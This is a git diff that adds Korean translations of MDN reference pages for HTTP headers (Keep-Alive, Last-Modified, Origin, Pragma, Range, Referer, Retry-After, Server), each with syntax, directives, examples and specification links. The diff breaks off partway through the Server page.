+ <dd><code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.5.1.2">Signed-Headers</a></code> 헤더 필드는 서명에서 포함할 응답 헤더 필드의 정렬된 리스트를 식별합니다.</dd>
+ <dt>{{HTTPHeader("Server-Timing")}}</dt>
+ <dd>주어진 요청-응답 주기에 대한 하나 이상의 메트릭 및 설명을 전달합니다.</dd>
+ <dt>{{HTTPHeader("SourceMap")}}</dt>
+ <dd>생성된 코드를 <a href="/ko/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>에 링크합니다.</dd>
+ <dt>{{HTTPHeader("Upgrade")}}</dt>
+ <dd><a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade 헤더 필드</a>에 관련된 RFC 문서는 RFC 7230, section 6.7입니다. 이 표준은 현재 클라이언트, 서버, 전송 프로토콜 연결에서 다른 프로토콜로 업그레이드 또는 변경하기위한 규칙을 정하였습니다. 예를 들면, 이 헤더 표준은 서버가 Upgrade 헤더 필드를 인식하고 구현하도록 결정했다고 가정하여 클라이언트가 HTTP 1.1에서 HTTP 2.0으로 변경하는것을 허용합니다. 어떠한 집단에서도 Upgrade 헤더 필드에서 명시된 용어를 수락할 필요는 없습니다. 이는 클라이언트 및 서버 헤더 모두에서 사용될 수 있습니다. Upgrade 헤더 필드가 명시되었을 경우, 전송자는 반드시 업그레이드 옵션을 지정한 Connection 헤더 필드도 전송해야합니다. Connection 헤더 필드에 대한 자세한 내용은 <a href="https://tools.ietf.org/html/rfc7230#section-6.1">앞서 언급한 RFC의 section 6.1</a>을 확인하시기 바랍니다..</dd>
+ <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+ <dd>브라우저가 이미지, CSS, JavaScript 등을 포함하여 문서에 의해 참조된 항목을 위한 URL뿐만 아니라 사용자가 따르길 선택한 링크 모두에서 사전에 수행할 도메인 네임 확인을 수행하는 기능인 <span style="font-size: 1rem; letter-spacing: -0.00278rem;">DNS 프리페칭을 제어합니다.</span></dd>
+ <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Requested-With")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Robots-Tag")}}{{non-standard_inline}}</dt>
+ <dd>공개 검색 엔진 결과에서 웹 페이지가 인덱싱되는 방식을 나타내기 위해 사용됩니다. 이 헤더는 사실상 <code>&lt;meta name="robots" content="..."&gt;</code>와 동일합니다.</dd>
+ <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt>
+ <dd>Internet Explorer에게 사용할 문서 모드를 알리는데 사용됩니다.</dd>
+</dl>
+
+<h2 id="기여">기여</h2>
+
+<p><a href="/ko/docs/MDN/Contribute/Howto/Document_an_HTTP_header">새로운 항목을 작성</a>하거나 존재하는 항목을 향상하여 도움을 주실 수 있습니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li>
+ <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li>
+ <li><a href="https://httpwg.org/specs/">HTTP Working Group</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/keep-alive/index.html b/files/ko/web/http/headers/keep-alive/index.html
new file mode 100644
index 0000000000..5635cc6ce9
--- /dev/null
+++ b/files/ko/web/http/headers/keep-alive/index.html
@@ -0,0 +1,88 @@
+---
+title: Keep-Alive
+slug: Web/HTTP/Headers/Keep-Alive
+translation_of: Web/HTTP/Headers/Keep-Alive
+---
+<div>{{HTTPSidebar}}{{Non-standard_header}}</div>
+
+<p><code><strong>Keep-Alive</strong></code> 일반 헤더는 송신자가 연결에 대한 타임아웃과 요청 최대 개수를 어떻게 정했는지에 대해 알려줍니다.</p>
+
+<div class="note">
+<p>{{HTTPHeader("Connection")}} 헤더는 이 헤더를 위해 어떤 의미든 갖도록 "keep-alive"로 설정되어야 합니다. 또한, {{HTTPHeader("Connection")}}과 {{HTTPHeader("Keep-Alive")}}는 HTTP/2에서 무시됩니다; 연결 관리는 해당 프로토콜 내에서 다른 메커니즘에 의해 처리됩니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Keep-Alive: <em>parameters</em></pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><em>파라메터</em></dt>
+ <dd>쉼표로 구분된 파라메터 목록으로, 각각 등호('=')로 구분되는 식별자와 값으로 구성됩니다. 다음은 사용 가능한 식별자들입니다:
+ <ul>
+  <li><code>timeout</code>: 유휴 연결이 계속 열려 있어야 하는 <em>최소한의</em> 시간(초 단위)을 가르킵니다. keep-alive TCP 메시지가 전송 계층에 설정되지 않는다면 TCP 타임아웃 이상의 타임아웃은 무시된다는 것을 알아두시기 바랍니다.</li>
+  <li><code>max</code>: 연결이 닫히기 이전에 전송될 수 있는 최대 요청 수를 가리킵니다. 만약 <code>0</code>이 아니라면, 해당 값은 다음 응답 내에서 다른  요청이 전송될 것이므로 비-파이프라인 연결의 경우 무시됩니다. HTTP 파이프라인은 파이프라이닝을 제한하는 용도로 해당 값을 사용할 수 있습니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>Keep-Alive 헤더를 포함하는 응답:</p>
+
+<pre>HTTP/1.1 200 OK
+<strong>Connection: Keep-Alive</strong>
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Thu, 11 Aug 2016 15:23:13 GMT
+<strong>Keep-Alive: timeout=5, max=1000</strong>
+Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
+Server: Apache
+
+(body)</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#rfc.section.2">HyperText Transport Protocol Keep-Alive Header</a></td>
+   <td>The Keep-Alive Header (Experimental specification)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Keep-Alive", "appendix-A.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/last-modified/index.html b/files/ko/web/http/headers/last-modified/index.html
new file mode 100644
index 0000000000..88f1da62bd
--- /dev/null
+++ b/files/ko/web/http/headers/last-modified/index.html
@@ -0,0 +1,92 @@
+---
+title: Last-Modified
+slug: Web/HTTP/Headers/Last-Modified
+tags:
+  - HTTP
+  - HTTP 헤더
+  - 응답 헤더
+  - 참고자료
+translation_of: Web/HTTP/Headers/Last-Modified
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Last-Modified</strong></code> 응답은 HTTP 헤더에 서버가 알고있는 가장 마지막 수정된 날짜와 시각을 담고 있습니다. 이는 저장된 리소스가 이전과 같은지 유효성 검사자로 사용됩니다. {{HTTPHeader("ETag")}} 헤더보다는 덜 정확하지만, 이는 대비책으로 사용됩니다. 조건 요청은 {{HTTPHeader("If-Modified-Since")}} 또는 {{HTTPHeader("If-Unmodified-Since")}} 헤더로 이와 같은 필드를 사용하여 만들어집니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>예</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Last-Modified: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 숫자의 시간, 예: "09" 또는 "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 숫자의 분, 예: "04" 또는 "59.</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 숫자의 초, 예: "04" 또는 "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>그리니치 표준시. HTTP 날짜는 현지 시각이 아닌, 언제나 GMT로 표현합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "Last-Modified", "2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Last-Modified")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("Etag")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/origin/index.html b/files/ko/web/http/headers/origin/index.html
new file mode 100644
index 0000000000..403fb63450
--- /dev/null
+++ b/files/ko/web/http/headers/origin/index.html
@@ -0,0 +1,88 @@
+---
+title: Origin
+slug: Web/HTTP/Headers/Origin
+tags:
+  - HTTP
+  - Reference
+  - Request header
+  - header
+  - origin
+  - 헤더
+translation_of: Web/HTTP/Headers/Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Origin</code></strong> request 헤더는 fetch가 시작되는 위치입니다. 경로 정보는 포함하지 않고 서버 이름만 포함합니다. {{HTTPMethod("POST")}} requests에 포함되는 것처럼, {{Glossary("CORS")}} requests 와 함께 전송합니다. {{HTTPHeader("Referer")}} 헤더와 비슷하지만, origin 헤더는 전체 경로를 공개하지 않습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: {{HTTPMethod("HEAD")}} 와 {{HTTPMethod("GET")}} 메서드를 통해 <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch requests</a>를 사용할 때 {{httpheader("Origin")}} 헤더가 설정되지 않았습니다. (이 문제는 파이어폭스 65에서 수정되었습니다 — {{bug(1508661)}}참조).</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Origin: null
+Origin: &lt;scheme&gt; "://" &lt;hostname&gt; [ ":" &lt;port&gt; ]
+</pre>
+
+<h2 id="지시">지시</h2>
+
+<dl>
+ <dt>&lt;scheme&gt;</dt>
+ <dd>사용하는 프로토콜. 일반적으로 HTTP 프로토콜 혹은 보안 버전인 HTTPS를 사용합니다.</dd>
+ <dt>&lt;hostname&gt;</dt>
+ <dd>서버(가상 호스팅)의 이름 또는 IP 입니다.</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>서버와 연결을 맺기 위한 TCP 포트 번호. 포트번호를 입력하지 않으면, 요청한 서비스의 기본 포트(HTTP의 경우 "80")가 사용됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Origin: https://developer.mozilla.org</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("6454", "Origin", "7")}}</td>
+   <td>The Web Origin Concept</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td>
+   <td>Supplants the <code>Origin</code> header as defined in RFC6454.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_적합성">브라우저 적합성</h2>
+
+
+
+<div>{{Compat("http.headers.Origin")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Referer")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/pragma/index.html b/files/ko/web/http/headers/pragma/index.html
new file mode 100644
index 0000000000..28036125f0
--- /dev/null
+++ b/files/ko/web/http/headers/pragma/index.html
@@ -0,0 +1,84 @@
+---
+title: Pragma
+slug: Web/HTTP/Headers/Pragma
+tags:
+  - Deprecated
+  - HTTP
+  - 삭제됨
+  - 요청
+  - 캐싱
+  - 헤더
+translation_of: Web/HTTP/Headers/Pragma
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP/1.0 의 <code><strong>Pragma</strong></code>  헤더는 요청-응답 체인에 다양한 영향을 줄 수 있는 구현관련 헤더이다. 이것은 HTTP/1.0 버전에서 HTTP/1.1 버전의 <code>Cache-Control</code> 헤더가 생기기 전 그것과 동일한 역할을 하는 대용 헤더로 사용되었다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>Pragma</code> 는 HTTP 응답에서 명시되지 않았던 헤더여서 일반적인  HTTP/1.1 의 <code>Cache-Control</code> 헤더의 신뢰할만한 대체재로 사용될수는 없다.  비록 그것이 응답에서  <code>Cache-Control</code> 헤더가 생략되었을 시, <code>Cache-Control: no-cache</code> 와 동일하게 효과를 주긴 하지만 말이다. <code>Pragma</code> 헤더는 HTTP/1.0  를 사용하는 클라이언트들만을 위한 비공식적인 호환성을 위해서 사용하는것이 옳다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}, 그러나 응답 동작은 정해지지 않아서 구현 방식에 따른다.</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아님</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>맞음</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Pragma: no-cache
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>no-cache</dt>
+ <dd>
+ <p> <code>Cache-Control: no-cache</code> 와 같다. 캐시가 캐시 복사본을 릴리즈 하기전에 원격 서버로 요청을 날려 유효성 검사를 강제하도록 한다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Pragma: no-cache</pre>
+
+<h2 id="세부사항">세부사항</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Pragma", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 테이블은 특정하게 구조화된 데이터를 기반으로 만들어졌다. 당신이 만일 이 데이터에 기여하고 싶다면 아래의 링크를 따라가 우리에게 Pull Request 를 보내면 된다.</p>
+
+<p class="hidden"><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></p>
+
+<p>{{Compat("http.headers.Pragma")}}</p>
+
+<h2 id="그외_볼것들">그외 볼것들</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/range/index.html b/files/ko/web/http/headers/range/index.html
new file mode 100644
index 0000000000..ec9ba33c81
--- /dev/null
+++ b/files/ko/web/http/headers/range/index.html
@@ -0,0 +1,84 @@
+---
+title: Range
+slug: Web/HTTP/Headers/Range
+tags:
+  - HTTP
+  - HTTP 헤더
+  - 범위 요청
+  - 요청 헤더
+  - 참고사항
+translation_of: Web/HTTP/Headers/Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Range</code> </strong>HTTP 요청 헤더는 서버에게 문서의 일부분만 돌려주어야 한다는 것을 알려줍니다. <code>Range</code> 헤더를 통해 여러 부분을 한번에 요청할 수 있으며, 서버는 이러한 범위에 대해 문서의 여러 부분을 돌려보내줄 것입니다. 만약 서버가 돌려 보낸다면, {{HTTPStatus("206")}} <code>Partial Content</code>를 응답으로 사용할 것입니다. 만약 범위가 유효하지 않다면, 서버는 {{HTTPStatus("416")}} <code>Range Not Satisfiable</code> 에러를 보낼 것입니다. 또한 서버는 <code>Range</code> 헤더를 무시하고 {{HTTPStatus("200")}} 상태 코드와 함께 전체 문서를 돌려줄 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Range: &lt;unit&gt;=&lt;range-start&gt;-
+Range: &lt;unit&gt;=&lt;range-start&gt;-&lt;range-end&gt;
+Range: &lt;unit&gt;=&lt;range-start&gt;-&lt;range-end&gt;, &lt;range-start&gt;-&lt;range-end&gt;
+Range: &lt;unit&gt;=&lt;range-start&gt;-&lt;range-end&gt;, &lt;range-start&gt;-&lt;range-end&gt;, &lt;range-start&gt;-&lt;range-end&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;unit&gt;</dt>
+ <dd>범위를 결정하는 단위. 보통 <code>bytes</code>.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;range-start&gt;</dt>
+ <dd>범위 요청의 시작 지점을 알리는 단위를 뜻하는 정수.</dd>
+ <dt>&lt;range-end&gt;</dt>
+ <dd>요청한 범위의 끝을 알리는 단위를 의미하는 정수. 이 값은 옵션으로 사용할 수 있으며, 생략한다면 문서의 끝부분을 요청의 끝으로 사용함.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Range: bytes=200-1000, 2000-6576, 19000-
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Range", "3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Range")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPStatus("206")}} <code>Partial Content</code></li>
+ <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/referer/index.html b/files/ko/web/http/headers/referer/index.html
new file mode 100644
index 0000000000..9d66b4fa78
--- /dev/null
+++ b/files/ko/web/http/headers/referer/index.html
@@ -0,0 +1,79 @@
+---
+title: Referer
+slug: Web/HTTP/Headers/Referer
+translation_of: Web/HTTP/Headers/Referer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Referer</strong></code> 요청 헤더는 현재 요청된 페이지의 링크 이전의 웹 페이지 주소를 포함합니다. <code>Referer</code> 헤더는 사람들이 어디로부터 와서 방문 중인지를 인식할 수 있도록 해주며 해당 데이터는 예를 들어, 분석, 로깅, 혹은 캐싱 최적화에 사용될 수도 있습니다.</p>
+
+<p>referer는 실제로 단어 "referrer"에서 철자를 빼먹은 것입니다. 자세한 내용은 {{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}을 참고하세요.</p>
+
+<div class="warning">
+<p><code>Referer</code> 헤더는 사생활과 관련된 브라우징 히스토리에 관한 정보를 노출할 가능성이 있습니다.</p>
+</div>
+
+<p><code>Referer</code> 헤더는 다음과 같은 경우 브라우저에 의해 전송되지 않습니다:</p>
+
+<ul>
+ <li>참조되는 리소스가 로컬 "파일" 혹은 "데이터"의 URI인 경우,</li>
+ <li>
+  <p>안전하지 않은 HTTP 요청이 사용되고 참조 페이지가 보안 프로토콜(HTTPS)로 수신된 경우.</p>
+ </li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Referer: &lt;url&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>현재 요청된 페이지의 링크 이전의 웹 페이지의 절대 혹은 부분 주소. URL 프래그먼트(예를 들어, "#section")는 포함되지 않습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Referer", "5.5.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referer")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/retry-after/index.html b/files/ko/web/http/headers/retry-after/index.html
new file mode 100644
index 0000000000..111031be3b
--- /dev/null
+++ b/files/ko/web/http/headers/retry-after/index.html
@@ -0,0 +1,80 @@
+---
+title: Retry-After
+slug: Web/HTTP/Headers/Retry-After
+translation_of: Web/HTTP/Headers/Retry-After
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Retry-After</code></strong> 응답 HTTP 헤더는 다음에 올 요청이 이루어지기 전에 사용자 에이전트가 대기해야 하는 시간을 가르킵니다. 이 헤더가 사용되는 주요한 두 가지 경우가 있습니다:</p>
+
+<ul>
+ <li>{{HTTPStatus(503)}} (Service Unavailable) 응답이 전송된 경우, 서비스가 얼마나 오랫동안 이용 불가능한지 예측되는 시간을 가르킵니다.</li>
+ <li>{{HTTPStatus(301)}} (Moved Permanently)와 같은, 리다이렉트 응답이 전송된 경우, 리다이렉트 요청을 하기 이전에 사용자 에이전트가 대기해주길 원하는 최소한의 시간을 가르킵니다.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Retry-After: &lt;http-date&gt;
+Retry-After: &lt;delay-seconds&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>해당 시간 이후 재시도하도록 합니다. HTTP 날짜 포맷에 과한 더 자세한 내용은 {{HTTPHeader("Date")}} 헤더를 참고하시기 바랍니다.</dd>
+ <dt>&lt;delay-seconds&gt;</dt>
+ <dd>응답이 수신된 이후 지연시키기 위한 초를 가르키는 음수를 불허하는 10진수 정수값입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="예정된_다운타임_다루기">예정된 다운타임 다루기</h3>
+
+<p>클라이언트와 서버 양측의 <code>Retry-After</code> 헤더 지원은 여전히 부조화스럽습니다. 하지만, Googlebot과 같은, 어떤 크롤러와 스파이더들은 <code>Retry-After</code> 헤더를 지킵니다. 검색 엔진이 다운타임이 경과한 경우 당신의 사이트에 대한 인덱싱을 유지할 것이기에, {{HTTPStatus(503)}} (Service Unavailable) 응답에서 해당 헤더를 함께 보내는 것은 유용합니다.</p>
+
+<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
+Retry-After: 120
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Retry-After", "7.1.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html">Google Webmaster blog: How to deal with planned site downtime</a></li>
+ <li>{{HTTPStatus(503)}} (Service Unavailable)</li>
+ <li>{{HTTPStatus(301)}} (Moved Permanently)</li>
+</ul>
diff --git a/files/ko/web/http/headers/server/index.html b/files/ko/web/http/headers/server/index.html
new file mode 100644
index 0000000000..b1271dd3b2
--- /dev/null
+++ b/files/ko/web/http/headers/server/index.html
@@ -0,0 +1,70 @@
+---
+title: Server
+slug: Web/HTTP/Headers/Server
+tags:
+  - HTTP
+  - 참고자료
+  - 헤더
+translation_of: Web/HTTP/Headers/Server
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Server</strong></code> 헤더는 요청을 처리하기 위한 원(origin, 原) 서버의 소프트웨어 정보를 포함하고 있습니다.</p>
+
+<p>너무 길고 상세한 서버의 정보는 잠재적으로 내부 구현과 상세 정보를 이용하여 잠재적으로 공격을 받을 수 있기 때문에 피해야 합니다. 공격자들은 (약간) 쉽게 알려진 보안상의 문제점을 찾고 터트릴 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Server: &lt;product&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;product&gt;</dt>
+ <dd>요청을 처리하는 소프트웨어 혹은 하위 제품의 이름</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
